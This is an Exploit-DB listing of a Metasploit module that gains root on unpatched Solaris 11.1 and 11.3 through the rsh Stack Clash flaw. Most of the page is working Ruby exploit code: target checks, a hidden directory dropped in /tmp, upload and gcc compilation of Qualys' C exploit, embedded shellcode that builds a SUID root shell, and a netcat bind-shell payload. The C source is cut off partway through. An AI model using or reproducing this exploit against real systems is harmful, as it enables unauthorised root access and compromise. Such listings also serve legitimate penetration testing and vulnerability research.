Solaris - RSH Stack Clash Privilege Escalation (Metasploit)

EDB-ID: 45625
Author: Metasploit
Published: 2018-10-16
CVE: CVE-2017-1000364...
Type: Local
Platform: Solaris
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF), Local
Vulnerable App: N/A

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Post::Solaris::Priv
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris RSH Stack Clash Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in RSH on unpatched Solaris
systems which allows users to gain root privileges.

The stack guard page on unpatched Solaris systems is of
insufficient size to prevent collisions between the stack
and heap memory, aka Stack Clash.

This module uploads and executes Qualys' Solaris_rsh.c exploit,
which exploits a vulnerability in RSH to bypass the stack guard
page to write to the stack and create a SUID root shell.

This module has offsets for Solaris versions 11.1 (x86) and
Solaris 11.3 (x86).

Exploitation will usually complete within a few minutes using
the default number of worker threads (10). Occasionally,
exploitation will fail. If the target system is vulnerable,
usually re-running the exploit will be successful.

This module has been tested successfully on Solaris 11.1 (x86)
and Solaris 11.3 (x86).
},
'References' =>
[
['BID', '99151'],
['BID', '99153'],
['CVE', '2017-1000364'],
['CVE', '2017-3629'],
['CVE', '2017-3630'],
['CVE', '2017-3631'],
['EDB', '42270'],
['URL', 'http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3629-3757403.html'],
['URL', 'https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash'],
['URL', 'https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt']
],
'Notes' => { 'AKA' => ['Stack Clash', 'Solaris_rsh.c'] },
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Jun 19 2017',
'Privileged' => true,
'Platform' => ['unix'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' =>
[
['Automatic', {}],
['Solaris 11.1', {}],
['Solaris 11.3', {}]
],
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/bind_netcat',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
OptInt.new('WORKERS', [true, 'Number of workers', '10']),
OptString.new('RSH_PATH', [true, 'Path to rsh executable', '/usr/bin/rsh'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def rsh_path
datastore['RSH_PATH']
end

def mkdir(path)
vprint_status "Creating '#{path}' directory"
cmd_exec "mkdir -p #{path}"
register_dir_for_cleanup path
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_compile(path, data)
upload "#{path}.c", data

output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -Wall -std=gnu99 -o #{path} #{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end

register_file_for_cleanup path
end

def symlink(link_target, link_name)
print_status "Symlinking #{link_target} to #{link_name}"
rm_f link_name
cmd_exec "ln -sf #{link_target} #{link_name}"
register_file_for_cleanup link_name
end

def check
unless setuid? rsh_path
vprint_error "#{rsh_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{rsh_path} is setuid"

unless has_gcc?
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
vprint_good 'gcc is installed'

version = kernel_version
if version.to_s.eql? ''
vprint_error 'Could not determine Solaris version'
return CheckCode::Detected
end

unless ['11.1', '11.3'].include? version
vprint_error "Solaris version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Solaris version #{version} appears to be vulnerable"

CheckCode::Detected
end

def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

if target.name.eql? 'Automatic'
case kernel_version
when '11.1'
my_target = targets[1]
arg = 0
when '11.3'
my_target = targets[2]
arg = 1
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"

base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
mkdir base_path

# Solaris_rsh.c by Qualys
# modified for Metasploit
workers = datastore['WORKERS'].to_i
root_shell = 'ROOT'
shellcode = '\x31\xc0\x50\x68'
shellcode << root_shell
shellcode << '\x89\xe3\x50\x53\x89\xe2\x50\x50'
shellcode << '\x52\x53\xb0\x3C\x48\x50\xcd\x91'
shellcode << '\x31\xc0\x40\x50\x50\xcd\x91Z'
exp = <<-EOF
/*
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef timersub
#define timersub(a, b, result) \\
do { \\
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \\
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \\
if ((result)->tv_usec < 0) { \\
--(result)->tv_sec; \\
(result)->tv_usec += 1000000; \\
} \\
} while (0)
Related Posts